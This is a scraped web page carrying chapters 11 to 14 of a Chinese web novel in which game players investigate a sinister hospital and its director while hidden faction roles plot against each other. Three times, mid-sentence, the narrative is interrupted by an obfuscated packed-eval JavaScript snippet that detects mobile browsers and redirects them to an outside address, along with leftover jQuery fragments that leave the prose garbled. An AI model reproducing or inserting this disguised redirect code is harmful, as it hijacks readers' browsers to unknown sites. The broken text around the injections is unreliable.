童柠一旁看得惊奇:“这么一摸就能知道扎针的位置了吗?”
安医生摇了摇头:“你来肯定是不行的,我们这大概叫作熟能生巧。毕竟自打来到这家医院任职后,我们每天都在给病人,给自己抽血。真不明白陈医生每天收集我们的血是要做什么。”
姜渺猛地抬起头,一字一顿地问:“你的意思是医生病人身份正确的时候,你们作为医生的也要被抽血?”
11. 第十一章
安医生点点头:“这算是医院的惯例了,来这儿应聘的都知道自己任职后会被抽血。我和宫医生大概已经在这家医院待了有十年了,我们已经非常习惯每天都会被抽一点血了。”
姜渺又问:“你难道就没有对这条规则提出过质疑吗?”
安医生笑了笑:“怎么没有?我在应聘时就有问过陈医生‘为什么医生也要抽血’这个问题,陈医生当时给我的回答是机密。对,就是机密。你可能会觉得被这两个字就打发了的我很可笑,但是那时候的我很需要这份工作。”
姜渺沉默不言。
安医生等了一会儿,见她迟迟不开口,揉了揉太阳穴,说:“马上要天黑了,我想你们已经发现天黑前后的区别了,你们该离开了。如果实在对这条规则感到疑惑,我还是推荐你们去直接问这条规则的制定者陈医生。我给不了你更多回答了,因为陈医生真的是一个很谨慎的人啊。乔卫东有没有和你提过十二个病人消失的故事?”
姜渺抬眼:“提过。”
安医生似乎是陷入了回忆:“那十二个消失的人不全是病人,其中有六位是医生,乔卫东的前负责医生也在其中。这家医院医生病人一对一是老传统啦。我当时刚任职不到一年,是实打实地对抽血这条规则知道甚少。但乔卫东的前负责医生那时候已经是位很熟练的老医生了。当时新老医生并不交流,我那时只以为是老医生们排外排新,后来在老医生们和部分病人在斥骂陈医生是个十足的社会败类后莫名消失时,我才明白这背后有着我不能探究的秘辛。”
“安医生,马上就要天黑了。”宫医生适时地喊了她的名字。
“我知道,我很惜命的。”安医生唇角的弧度消失,盯着看起来要比她勇敢许多的姜渺,遗憾地说,“正如我所说,我很惜命的,所以我没因为好奇去窥探陈医生的秘密。我是真的很喜欢你,我不会骗你。我见你第一眼就觉得你是个当医生的好苗子,可惜你志不在此。那我就祝你能得偿所愿。”
说完,安医生轻笑一声,“我这话说得不对。你一定会得偿所愿。你想要的东西无论前方有什么阻碍,你都会坚定不移地排除阻碍去靠近,不是吗?这是身为心理医生的职业病,见人就想探寻她的内心。而你,拥有着一颗宛若圣人的强大心脏。”
“你成功是必然的,那么我就祝你走向成功的路途不要太艰辛吧。当然,我也随时欢迎你放弃你的梦想,来和我一起做医生。虽然我理智上知道你不会放弃你的梦想,但就随便幻想一下嘛。”安医生朝她眨了眨眼睛,“如果真的有那么一天,我就把宫医生踹了。”
宫医生忍无可忍地从安医生身后松松地揽住她,宣誓主权的同时用目光示意姜渺一行人该离开了:“祝你们一帆风顺。”
姜渺沉默地接下祝福,为他们掩上门。
“她的意思是我们必须和陈冠玉正面硬刚吗?”刚远离病房走到一个僻静的角落,童柠就忍不住问。
姜渺摇头:“如果我没猜错的话,安医生所说的是支线任务的内容。如果没有获得仓库里的支线线索是不会触发这段对话的。”
单云轲附和地点点头:“我也这么认为,但或许我们之中有人之前做过支线任务?给个参考?”
童柠抿抿唇,眉间拧起一个小疙瘩:“我以前通过的副本,支线任务触发倒是触发过,但没有一个能做到咱们现在这个进度的。渺渺,你既然能带领我们把支线任务做到这个地方,那么你以前应该有完成过支线任务吧?分享一下经验?我可以出积分换。”
“不用积分。”姜渺含糊地说,“我以前做过的支线任务大部分是支线任务做到一定程度后,就会和主线任务混为一谈,不可分割。”
“这样吗……”童柠得到回答,捏着下巴,思考他们该怎么解决陈冠玉这个boss。
单云轲却是犹疑地看了眼止不住捏耳垂的姜渺,怀疑她之前根本没有完成过支线任务。
她说得太含糊,太没有自信了。单云轲稍稍联系一下之前她的表现,就能看出她在撒谎。可能也就决定在这个副本中全然信任她的童柠丝毫不怀疑她了。
但她为什么要在这种事情上欺骗他们?
支线任务本来就很难完成,论坛一堆攻略贴,唯有支线任务没人总结攻略,久而久之玩家们都默认支线任务属于副本里可有可无的存在了。有幸碰上了就稍微推一下进度,反正支线任务的奖励积分是按照玩家推进的进度发放的。
所以为了充面子的话,完全没必要,就算姜渺大大方方地说她根本没有完成过支线任务,他们也不会说什么。
毕竟没有完成过支线任务的玩家才算常态。
可姜渺展现出来的水平又不像在撒谎。
他们这一路推主线推支线很顺利,完全是靠姜渺的功劳,他和童柠完全就是两个根本不吉祥的吉祥物,充当着给姜渺加油助威的角色。
如果要是他或者童柠来,恐怕在乔卫东追着询问工作牌时,就已经殒命或者献祭他人了,更别说通过触犯《护士守则》去陈冠玉那里接受去仓库整理血袋的任务了。
玩家们早已学会摸着游戏规则的边缘或者暗害他人获取自己生存的空间,而不是像姜渺一样仗着自己战力值高,不把规则放在眼里,另辟蹊径获取任务的解法。
那对于他们来说太冒险了,而且性价比也很低。
单云轲想了又想,还是没想透姜渺刚才到底有没有撒谎。
这还是他第一次对自己的直觉产生怀疑。
“单云轲?”姜渺喊他,“我和童柠决定趁天黑时去探查一番陈冠玉的秘密,你也一起去。”
不是疑问句。
单云轲把已经到嘴边的“不去”咽了回去,焉焉地应了一声。
算了,反正跟着姜渺的存活率肯定比他一个人单走高,这个副本就先这样混着吧。
反正《神明已闭眼》的匹配机制两个人连续匹配到的概率是非常低的,他下个副本再潇洒也来得及。
单云轲安慰着自己,和姜渺童柠躲到了陈冠玉办公室几米外的拐角处。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686103|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“陈冠玉的五感十分灵敏,所以我们要小心再小心,一定不能发出任何声响。”姜渺用气音嘱咐单云轲和童柠。
单云轲和童柠慎重地点了点头。
姜渺并没有打算今晚就和陈冠玉正面硬刚的打算,她只想知道天黑时到底会发生什么,为什么所有npc都在重复天黑时不要和他们待在一起,最好和其他玩家结伴躲起来度过天黑时。
毕竟陈冠玉那次在办公室里的自言自语很令人耐人寻味。
他是谁?
医生病人们天黑前后会交换身份,那么没有对应病人的陈冠玉呢?他天黑时会做些什么?
姜渺直觉陈冠玉是最关键一环,于是她稍作抉择就放弃了观察天黑时的医生病人们,而是直接选择来观察陈冠玉。
窗外,太阳缓缓没入地平线。
安静的办公室内突然传来金属撞击的剧烈响声和椅子和地面摩擦的长音。
姜渺屏着呼吸,悄悄探出一只眼睛。
但陈冠玉似乎并没有准备出来,他在办公室内不断踱着步,偶尔还会低低骂两声。
在姜渺一行人听了十多分钟的花式骂术后,陈冠玉似乎终于找到了他想要的东西,只听见一声咔哒声,陈冠玉哼着歌,脚步轻快地走出办公室,上七楼。
姜渺在陈冠玉出办公室时那一刻就往后藏了藏,但一闪而过的银色光芒还是让姜渺确定了陈冠玉手上不断荡着圈的是一副手铐。
“所以,刚才那个声音是陈冠玉解开手铐的声音?”童柠问。
姜渺点头,示意单云轲和童柠跟在她身后上七楼。
七楼的仓库前,陈冠玉拿着一大把钥匙,正在一个个尝试哪个才是正确的。
姜渺几人耐心等待着。
这回陈冠玉没让他们等太久,只尝试了六个,就试出了正确的钥匙。
他用力推开仓库的门,看着完全敞开的暗室门,挑了挑眉,自言自语道:“也不知道恢复原状。”
陈冠玉随便进了一间暗室,检查过架子上被排好序的血袋,笑得前仰后伏:“还真听话呢,竟然真的把血袋认真摆放了,但你们知道吗?我只是想通过这种方式告诉你们医生病人的身份有误。嗯?还不打算出来吗?”
姜渺呼吸一滞,和单云轲童柠对视一眼,没动。
陈冠玉等了一会儿没听到任何声响,拿起其中一份血袋,眯起一只眼睛去看:“我和他比起来耐心是不够多。”
“你是谁?你有什么目的?”姜渺确认过陈冠玉这句话不是在开玩笑后,起身暴露在陈冠玉面前,问。
单云轲想拉住她,却和她的袖子擦肩而过。
他暗暗地骂了一句,摸上口袋里的道具卡。
“我是谁对你很重要吗?你只需要知道我比起他来说,还算个好人就可以了。”陈冠玉含着笑,说。
“但这句话不足以让我信任你。”姜渺说。
陈冠玉无所谓地把血袋放回架子上,“那什么能让你相信我?告诉你关于抽血规则背后的秘密?”
12. 第十二章
单云轲和童柠皆是眼前一亮,姜渺却没有动,她淡淡地说:“但你不会直接告诉我们的。”
陈冠玉赞赏地点头:“是的,因为你们还不足以让我交付给你们这么重要的秘密。”
说着,他走出暗室,掀开一张病床上的白布,但躺在上面的类人生物却并没有暴起,而是在他的抚摸下,温顺地蹭了蹭他。
“你们看,这些只是一些分不清它们真正主人的忠狗。”陈冠玉讽刺地说。
姜渺看着那对陈冠玉的话没有任何反应的类人生物,问:“这些东西也能为你所驱使,这不好吗?”
陈冠玉深深地看了她一眼:“因为使用它们不会造成人类生命的损失对吗?”
姜渺默认下这句话。
陈冠玉笑意不达眼底,请她出去:“和他一样的思维,是个很好的掌权者,但不是位好医生。你和我不是一路人,请你离开,我不会告诉你相关信息的。”
单云轲和童柠呼吸一滞,开始绞尽脑汁地想怎么圆话。
姜渺知道自己说错了话,但她并没有听从陈冠玉的直接离开,而是问了另一个问题:“可以驱使它们的前提是需要驱使它们,请问,外面很不太平吗?”
透过医院的窗子往外看,除了日升日落外其他全笼罩在一片白雾中,偶尔看到几个或真或假的人影,也是很快就消失了,叫人以为是花了眼。
“你们是从和平地带来的?”陈冠玉愣了一愣,问。
姜渺斟酌着他的意思,“嗯”了一声。
“原来是这样。”陈冠玉把白布重新盖回去,扫了一眼三人的穿着和精神气,信了她的话,“但你们为什么会到这儿做实习护士?算了,既然都已经来了,那现在让你们离开也不太现实。你们知道吗?你们脚下的这家医院处于沦陷区和过渡区的交界线。再过不久,这里很快也要沦陷了。”
乍一听到一个新的名词,三人皆是一怔,许久之后才彼此都对视了一眼,摇了摇头。
“沦陷?”姜渺挑了最不出错的词语,问陈冠玉。
陈冠玉沉重地点头:“这是不可避免的事情。国家也曾派出过军队,沦陷区的居民们也曾自发组建过兵队,但是都没用。别说击退造成这一切的人了,但凡正常人进入那片浓得不见人影的雾后都会被吞噬,再也没有返回的机会。”
姜渺大致了解了情况,又问:“所以为什么不选择搬走?”
“为什么?”陈冠玉笑了笑,“因为他不满足于只当一个好医生,他还想去争一争英雄的称号。可那哪是那么好争的?当我发现他背着我做这些事情的时候,沦陷区还没有现在这么多,大概只有现在的五分之一吧,但现在沦陷区都已经蔓延到脚下,他除了这些听他话的废物忠狗外什么都没研究出来。”
“这些是雾里的那些怪物吗?”姜渺问。
陈冠玉摇头又点头:“是也不是,它们是他费了很大力气从雾里捞出来的雾怪,但是被医生病人们的血浇灌这么久,早已和雾怪毫无关系了。”
“它们和雾怪比起来……?”单云轲关掉电子屏,出声问。
“雾怪比它们强过许多,尤其是被医生血液浇灌的那些,更是连原本能力的三分之一都没有。”陈冠玉回答。
仓库内一时陷入寂静,陈冠玉见几人没有继续询问的意思了,继续赶他们走:“你们现在可以走了吗?如果你们不能帮我,甚至要帮他归位医生病人的身份,促进他对于研究的执着的话,那很遗憾,我并不想和你们共处一室时间太久。”
“抱歉打扰了,你告诉我们的事情超出了我们的认知,我认为我们需要时间消化一下。”姜渺没有马上表态,她模棱两可地和陈冠玉说过这一句话后,示意单云轲和童柠随她离开。
等走出仓库门后,她立即看向单云轲,问:“你刚才一直有看手环的动作,你在看什么?”
单云轲对这个没什么隐瞒的,诚实地说:“我在攻略区找攻略。”
姜渺拧着眉问:“你在找攻略?”
她之前研究手环的功能时点进去过所谓的攻略区,但攻略区全是一些天马行空的和《神明已闭眼》这个游戏很搭调的故事,因而她只掠过几眼,确定没有隐藏信息后就退出了这个区。
“像你这样的实力派玩家不看攻略区也很正常。”童柠抬手,调出电子屏,“为了防止玩家们通过论坛作弊,《神明已闭眼》的每局游戏的任务设定和玩家设定都是不一样的,可游戏副本的世界观完全不可能衍生出那么多种,于是就有游戏任务南辕北辙,但世界观背景却一模一样的现象发生。要知道在这个高死亡率的游戏中发现一点可钻空的漏洞,玩家们都是会很高兴的。”
见姜渺对攻略区的作用完全不知,单云轲心中疑窦丛生,但现在不是探究姜渺的时候,于是他接上童柠的话:“因此,玩家们组建了攻略区,并在其中分享自己通过副本的世界观背景。只不过只有很古早时候的那几篇攻略贴是可以完全信任的,再往后攻略贴多是真的掺假,假的掺真,需要好几篇分享同世界观背景的帖子一起看,才能有一点收获。”
童柠摊了摊手,“没办法,玩家们之间是竞争关系,没人会愿意给自己的对手送线索。”
姜渺若有所思地点头:“那你找到了几篇与这个副本相关的帖子?”
单云轲深吸一口气,看过姜渺和童柠期待的目光,一字一顿地说:“一篇都没有。”
“什么意思?官方还有继续在投放游戏副本的世界观吗?”姜渺问。
单云轲否决了她的想法:“不可能,我闲着没事就会去看攻略区,我敢做担保,攻略区已经很久没有过分享新世界观背景的帖子了。而且就算要投放新副本世界观,官方也应该发邮件通知。虽然官方确实不怎么把人命当回事,但这种表面功夫还是会做的。而且我们就算牢记全部世界观里会发生些什么,又有什么用呢?死亡率不还是在上升?”
童柠表示赞同,然后提出自己的观点:“我觉得可能是支线任务触发的人不多,攻略区的帖子大多都是较
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686104|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为浅显的世界观背景,世界观更深层次的内核没有人能挖掘出,所以才没有相关帖子的。”
“你这个思路应该是正确的。”单云轲说。
姜渺抿抿唇,对自己无意间又做了出头鸟感到困扰,目光扫过单云轲和童柠,竟然生出要不将看过她许多破绽的这两人永远地留在这个副本的想法。
但她不想杀人。
姜渺刚想说些什么,就听到一声清脆的破裂声。
她看了眼无异样的两人,说:“白天我们碰见的那个黑衣男子使用过一次技能了,我放在童柠身上的防护罩破了。按这个技能发动时间,我猜他是摄梦者。”
童柠心有余辜地摸了摸光滑的脖颈:“幸好渺渺你早有预料,不然按摄梦者的技能,我现在应该头身分离了。不过他为什么杀我啊?就因为我骂了他两句?这也太脆弱了吧?”
姜渺唇角微牵:“这不是没有吗?而且如果他是摄梦者的话,他现在已经没有技能了。他唯一的一次摄梦杀人机会已经用过了。”
单云轲的脸色很是难看。
走的时候还敢威胁他让他好好利用道具卡,不要浪费,结果自己却反而因为一时怒气随意使用技能,被姜渺察觉到所防范。姜渺现在手里不仅有不知道几次的杀人机会,血量还恢复100%了,他怎么会有这种猪队友?不行,就算这已经是邪恶阵营必败的局,他也得找个机会把正义阵营的其他人淘汰一个。
童柠是通灵者,而且姜渺一直有看护着,不能动。正义阵营有两个NPC,一死一道具卡给童柠用了,淘汰了也不能让他解恨。那么他就只能从正义阵营剩下身份牌里挑选“幸运儿”了,裁决者、守护者、好学者,三选二,正义阵营剩下的身份牌还有哪两个呢?
姜渺自然注意到了单云轲的脸色变化,但她不想给单云轲变成NPC购买道具卡的机会,于是只当没看见,偏头和童柠商议:“现在支线任务的进度又凝滞了,我们要不继续去收集医生病人的签名?既然主线任务和支线任务已经混在一起,那么我们在收集签名的同时,应该也能继续推进支线任务进度。”
童柠早就已经放空大脑跟着姜渺混了,姜渺的话音刚落,她就点头同意了。
姜渺于是又看向单云轲:“你呢?你还要继续跟着我们吗?”
单云轲有些意外姜渺这回竟然给了他选择的空间:“你不是说要保护我吗?”
姜渺反问:“你需要我保护吗?”
单云轲沉默了一会儿,又确定了一遍:“我真的可以自己一个人单独行动吗?”
姜渺很有耐心地回答他:“如果你再问一次,我可能就反悔了。”
单云轲听了这话,立刻转身离开,一点留恋都不带的。
童柠等他彻底消失后,问姜渺:“真的就这么放他走了吗?他不是那个吗?”
姜渺冷淡的眉眼稍微生动了些,她看着单云轲离开的方向许久后,才回答童柠:“做任务做得有些无聊了,总要给自己找些消遣不是吗?”
13. 第十三章
单云轲还不知道他是被姜渺故意放走的。
他直奔黑衣男子所负责的楼层,问,“庄川,你对童柠使用了技能?”
“童柠是谁?是那个很没有礼貌的女人吗?如果是她的话,我对她使用技能又如何?”庄川无所谓地耸耸肩,眼中充满恶意,“怎么了?她死了吗?”
单云轲抓了抓头发,烦躁地说:“没有,她旁边的那个女人是……守护者。”
庄川皱起眉:“她难道正好那晚给童柠上了防护罩?运气这么好?”
单云轲懒得和这个脸上恶意藏都不藏的蠢货解释,他目光冰冷地看着他:“总之,你的技能完全没派上用场。”
庄川讨厌单云轲看他的眼神,理直气壮地说:“我的技能没派上用场怎么了?我早在昨天就把正义阵营的裁决者给淘汰了。”
单云轲联想到童柠的捡尸,脸色稍微缓和了些:“是利用正义阵营的NPC身份牌?”
庄川点头。
“那正义阵营其他人你碰见过没?”单云轲问。
“没有。你跟着她们走了这么久了,童柠是什么身份?”庄川问。
“言灵者。”单云轲用一种“你还敢问”的眼神看着庄川。
庄川听到童柠的身份,这才对自己技能没派上用场真情实意地产生些懊恼:“竟然是言灵者,早知道当时还装一下的。”
单云轲懒得理他,翻了个白眼,猜测正义阵营剩下的那个身份牌会是守护者还是好学者。
正义阵营的守护者是必须守护一同阵营的人的。他先是见过言灵者,又见过一个NPC,裁决者和另一个NPC双死,剩下的那张身份牌应该是单走,所以绝对不可能是守护者,就是不知道好学者学的是谁的技能了。
希望不是裁决者,如果是裁决者,那想要淘汰掉好学者,就有点棘手了。
“单云轲?”庄川喊他回神。
“什么事?”单云轲问。
庄川甩了甩手里的登记表,略带些傲气地问:“我已经收集了三个医生的签名了,正义阵营的进度落后我们多少?”
单云轲:……
落后多少?你收集了三个最好收集的医生签名签名有什么好骄傲的?你有本事去收集病人的啊!
单云轲对比了一下两个阵营的进度,决心一会儿把正义阵营单走的那张身份牌解决掉就去蹭支线任务积分。
正义阵营不管是收集签名的总数,还是最难收集的病人签名都要比邪恶阵营多。
庄川见单云轲不回答他,隐隐猜到了些什么:“她们收集签名的进度比我们快?童柠这么厉害?”
“嗯,她们手里有两个病人的签名。你能拿到病人的签名吗?”单云轲没说功劳全在姜渺。
庄川捏着登记表的手指因用力而微微泛白:“……暂时拿不到。病人很不好说话,只要靠近病人,就有被攻击的可能性。我不敢赌。”
单云轲想了想姜渺拿病人签名的英姿,理解地拍了拍庄川的肩膀:“人之常情,活着就行。反正输的阵营也不会因为没完成任务死亡。积分下个副本也能拿。”
庄川没被劝到,他思索了一会儿,提议道:“正义阵营现在已经减员两人,要不我们把剩下几人解决掉?这样我们做任务的时间就充裕很多了。”
单云轲表情复杂。
到底是什么让庄川觉得连病人都解决不掉的他能解决掉以一敌二的姜渺的?
哦,可能是因为庄川没亲眼见过姜渺的战力吧。
单云轲没同意,也没否定,他说,“我负责解决正义阵营那张单走牌,其他的就看你了。”
庄川信心满满地应了。
根据目前的信息,一楼是庄川其中一个小跟班和一个未知身份牌的楼层,二楼是他和姜渺的楼层,三楼是童柠和络腮胡男人的楼层,四楼是庄川和裁决者的楼层,五楼是正义阵营死去的那个NPC和庄川另一个小跟班的楼层,六楼是邪恶阵营魅惑者身份牌和一个未知身份牌的楼层。
单云轲在脑海里构建出医院六层楼的人员配置图,略加思索后决定先去一楼看看。
因着庄川小跟班几乎是和庄川形影不离,另一张未知身份牌又很谨慎,几乎不发出动静,整个一楼都显得很安静。
单云轲假装自己是路过来寻人,经过那张未知身份牌负责的区域,余光不断寻找着那张未知身份牌藏在哪儿,却在走到副本出生点时和一个女人正对上目光。
“你是在找我吗?”女人温和地问。
单云轲看着她手上拿着的两瓶奇怪形状的液体,瞬间确定了她的身份,他咽了口唾沫,朝后退了一步:“我只是路过。”
女人反手收起手里的两瓶液体,友好地笑了笑:“不用害怕,我只是在纠结到底选择毒药还是解药。而且我也还没有选定我要帮助的阵营。你能告诉我,你是哪个阵营的吗?”
单云轲听她这话,稍微松懈了神经:“我是邪恶阵营的,单云轲。”
“我叫许木棉。”女人脸上挂着谦逊的笑容,好奇地问,“你在找什么人?或许我可以提供一些帮助。虽然我一直都在我负责的区域没有离开过,但还是有很多人来过我这里的。”
单云轲摇了摇头,“我没有在找人,我只是想看看能不能在这里寻到一些有用的线索。”
许木棉脸上的好奇转变为遗憾:“那我没办法帮助你。”
单云轲和她道别后就准备离开,却忽然感觉到身后浓烈的恶意,迅速闪身到一旁有遮挡物的地方。
“躲开了呀。”许木棉收起手里的毒药瓶,眼中的失落几乎掩不住。
单云轲定了定心神,问:“你也选择了帮助正义阵营?”
“也?”许木棉惊讶地重复了一遍,然后摇头,“我没有哦,我没有说过一句谎话。”
“那你为什么要杀我?”单云轲问。
“我无聊呀。于是我决定杀掉来这儿的第四个人。”许木棉手指卷着自己柔顺的发尾,看向他,“而你,正好是第四个人。”
单云轲暗骂一声自己真倒霉。
“不过你反应太快了,我现在杀不死你。等以后再见面的时候,我一定会杀死你的。”许木棉承
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686105|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诺道。
单云轲忽略这让人头皮发麻的承诺,问:“你就一直待在这里,也不去探查正义阵营和邪恶阵营哪个值得下注,那你打算什么时候确定你帮助的阵营?”
“等游戏的最后几分钟吧。如果我拿的是中立身份牌,我一般都会这么玩。平时玩正义阵营和邪恶阵营时已经很累了,玩中立身份牌就当是给自己放假了。至于积分,不差这一场两场的。”许木棉说。
单云轲无法苟同她的看法,防备她可能会发起的第二回攻击,离开了一楼,朝六楼走去。
姜渺和童柠已经收集完三楼的医生病人签名,潜伏在这里,等待单云轲的出现。
“刚才那个许木棉明显对单云轲有攻击倾向,我们就那么离开,没事吗?”童柠等了好久,都没看到单云轲上来,忍不住问姜渺。
姜渺放松地倚在墙上:“没事的。许木棉真正想杀的人不是单云轲。”
童柠愣了一下,问:“那她想杀的人是谁?”
“我。”姜渺平静地回答。
“为什么?”童柠对姜渺这个回答难以接受,她问。
姜渺漫不经心地回:“谁知道呢?不过这个副本内很难和她对上了,只能看看以后还有没有机会了。”
童柠看着一贯对什么都淡淡的姜渺眼底荡起的波澜,有些嫉妒那个和姜渺都没正式见过面的许木棉。
她说:“可能很难。《神明已闭眼》的匹配机制规定两名玩家每三局游戏中最多只能有一局匹配到同一个副本中。听起来很容易,但依照现在这个不断上升的死亡率,很有可能等不到匹配冷却期过去,她就死在副本里了。”
姜渺没回应童柠这句话,因为单云轲上来了。
单云轲没有直接去淘汰好学者,而是先去找同楼层的魅惑者交换彼此手里的线索。
“那邪恶阵营几乎是败局了,除非真的能把正义阵营其余幸存者全部淘汰,但我认为这个难度过大。”魅惑者听过,沉吟片刻,说出自己的判断,然后问单云轲,“你来找我有什么事?”
单云轲轻笑一声:“概率再小也要试一试不是吗?我想问问你,和你同楼层的好学者学的是谁的技能?”
“裁决者。”魅惑者肯定地说,“游戏进行到现在,总共也只死了两个人,好学者的选择很少。裁决者和NPC的尸体虽然躺在一起,但据我观察,好学者是对着裁决者使用的技能,他应该在那两个人死之前就知道他们的身份了。裁决者和另外一个死者双死的结果是邪恶阵营其他身份牌诱导的吧?”
单云轲沉默地点了点头。
魅惑者可惜地说:“杀了一个裁决者,却又造了一个裁决者。”
单云轲没说话。
空气中弥漫着沉重的气息。
他刚刚还祈祷过好学者千万不要学的是裁决者,结果就从魅惑者这里得知好学者学的就是裁决者。这是天要亡他的节奏啊!
魅惑者看他表情过于沉重,忍不住笑出声:“也不必这幅表情,毕竟我还有个好消息要告诉你呢。”
“我今晚魅惑了好学者。”
14. 第十四章
“我打算明天控制好学者淘汰掉一个正义阵营的人。”魅惑者笑,“我们算是不谋而合。”
单云轲放松了神经,给魅惑者提醒:“一楼有张中立牌还没选择阵营,是个可以拉拢的。正义阵营童柠是个言灵者,但她身边那张中立牌不是个好对付的。虽然很无奈,你只能选择去淘汰掉单走的那张NPC牌。他在三楼。”
“中立牌?她是什么身份牌你知道吗?”魅惑者若有所思地问。
姜渺屏住呼吸,手变换成握剑的姿势,等待单云轲的回答。
单云轲懊恼地说:“那人太谨慎了,我没探查出来,大概率是个女巫。”
魅惑者记下:“女巫的话,确实有资本能保下一个人。这样的话,一楼只有可能是丘比特或者通灵者,我觉得更有可能是通灵者。”
单云轲附和:“我也这么认为。”
“那其实杀她更好些。”魅惑者和单云轲分析,“通灵者的技能是和淘汰者的灵魂对话两次,但现在死的都是正义阵营的人。把她留着,如果她选择正义阵营,岂不是给正义阵营留机会?如果她选择邪恶阵营,那也对我们毫无帮助,毕竟我们这边没有死人。”
“话虽这么说,但好歹我们知道她是通灵者,知道她的技能。拥有未知道具卡的NPC身份牌才更让人觉得是个隐患,不是吗?道具卡的池子里良莠不齐,很难说他手里拿着张什么等级的道具卡。”单云轲先是点头赞同了她的话,然后又提出自己的想法。
魅惑者听过后,久久没有再说话。
单云轲在心底长舒一口气。
总算是把她说服了,不然她控制着好学者去淘汰许木棉时一定会发现许木棉并不是通灵者,而是女巫的。
他两个手指指腹互相摩擦着,等待魅惑者的最终决定的同时唾弃自己控制不住维护姜渺的行为。
他这么替姜渺隐瞒身份到底是为了什么?中立守护者身份牌被人抽到这件事明明是越多的人知道越好。
当时中立守护者身份牌被官方公布时就被玩家们誉为“唯一的希望”,虽然因为从来没有人抽到过中立守护者身份牌,可能很多玩家现在已经不再寄希望于这张技能都不知道的身份牌,但如果把中立守护者身份牌被人抽到这个消息放出去,绝对还是会引起一阵轰动的。
“那还是先解决掉正义阵营最后一张NPC身份牌这个不确定的因素吧。再不行,我明晚再想办法去魅惑一下女巫,制作毒药把童柠给淘汰掉。”魅惑者说。
魅惑谁?
姜渺?
单云轲猛地抬头。
魅惑者疑惑地问:“怎么了?还有什么问题吗?”
单云轲摇摇头,问她:“你见过姜……童柠身边的那个人吗?”
魅惑者轻点了一下头,脸上的轻蔑止不住:“女巫这张身份牌在她手里真是浪费。你说的还是过于给她面子了。说得好听点是她在保护童柠,说得难听点,她只不过是童柠放在身边的替死鬼,真不清楚她之前是怎么活下来的,真的有人吃她柔弱可怜的模样而放过她吗?”
她这话一下骂了两个人。
隐在暗处的童柠面部扭曲了一下。
她之前确实是想把姜渺培养成自己的替死鬼的,但她哪有那个能力?她现在能活着都是多亏了姜渺,她当时根本没察觉到黑衣男子对她使用了技能。
单云轲摸了摸鼻子,没接她这个话茬。
装柔弱寻求帮助的似乎是他。
之后两人便没一直紧绷着神经,讨论副本里的事情了。
姜渺听了一会儿他们之间的闲聊,深感无趣和陌生。
她拉了拉听得入迷的童柠,附在她耳边轻声说:“走了,该提前去蹲点了。”
童柠呜咽着泪,被姜渺强制拉走。
他们讨论的都是《神明已闭眼》登陆蓝星之前的事情啊!她好想接着听,如果不是他们聊起来,她都想不起那些过分美好的时光。
这么想着,她看了眼毫无触动的姜渺。
做副本任务这么认真吗?都不给自己留一些回忆过去的时间。玩家们可是全凭回忆过去来消去自己长久沉浸在副本中的麻木的。
不过,姜渺即使不回忆过去,她的人性似乎也比她的多?
童柠胡思乱想着,两人来到三楼。
之前络腮胡男人和姜渺已经见过,并报过自己的姓名了,见姜渺和童柠出现在楼梯口,立马把登记表递给姜渺。
姜渺看了一眼,发现上面多了六个医生的名字,赞许地看了络腮胡男人一眼:“效率很高。”
络腮胡男人被夸得有些不好意思,挠了挠头,说:“我都是趁玩家们不在自己负责的区域时去收集签名的。六楼你们在,我就没上去。至于病人,我是真的没有那个能力。”
童柠安慰他:“别为这种事情道歉啊,鲁奇。有几个人能像姜渺那样变态,一人能在短时间内把两个病人撂倒,而且其中还有一个是大力怪神。”
说着,她夸张地抖了抖肩膀。
姜渺淡淡地笑着,“嗯,病人就交给我。”
听姜渺这么说,鲁奇终于放松了。
他对姜渺的第一印象和魅惑者的基本无二,但在他面前,姜渺没有隐藏伪装,童柠又早憋着一口气,想把她眼里的姜渺给人讲一讲,于是在这两相夹击下,鲁奇就算再笨,也明白了姜渺是他动不起的人,而且很有可能他还需要仰仗姜渺的实力在副本内生存。
“哦,对了,鲁奇,待会儿天亮后我们会躲起来。你呢,就假装没有看到过我们,该怎么接待来找你的人就怎么接待。我们准备玩一场大的。”童柠眼中光芒闪烁。
鲁奇一听就知道有人要来取他的命。
他苦哈哈地想:你看,这不他就需要仰仗姜渺了?
鲁奇应允下来,躲过天亮时医生病人交换这一致命点,慢悠悠地独身回到他负责的区域。
医生和病人都在各忙各的,他就揣着手倚在走廊的墙壁上。
忽地,他左边的空气涌动,一颗蓝色的子弹和金色守护剑撞在一起,被迫改变方向,擦着他的额头而过。
鲁奇汗涔涔地看向已经对上的两个人。
姜渺不知道什么时候从暗处闪身出来,横着守护剑堵住好学者的枪口,眉目间尽是凌厉。
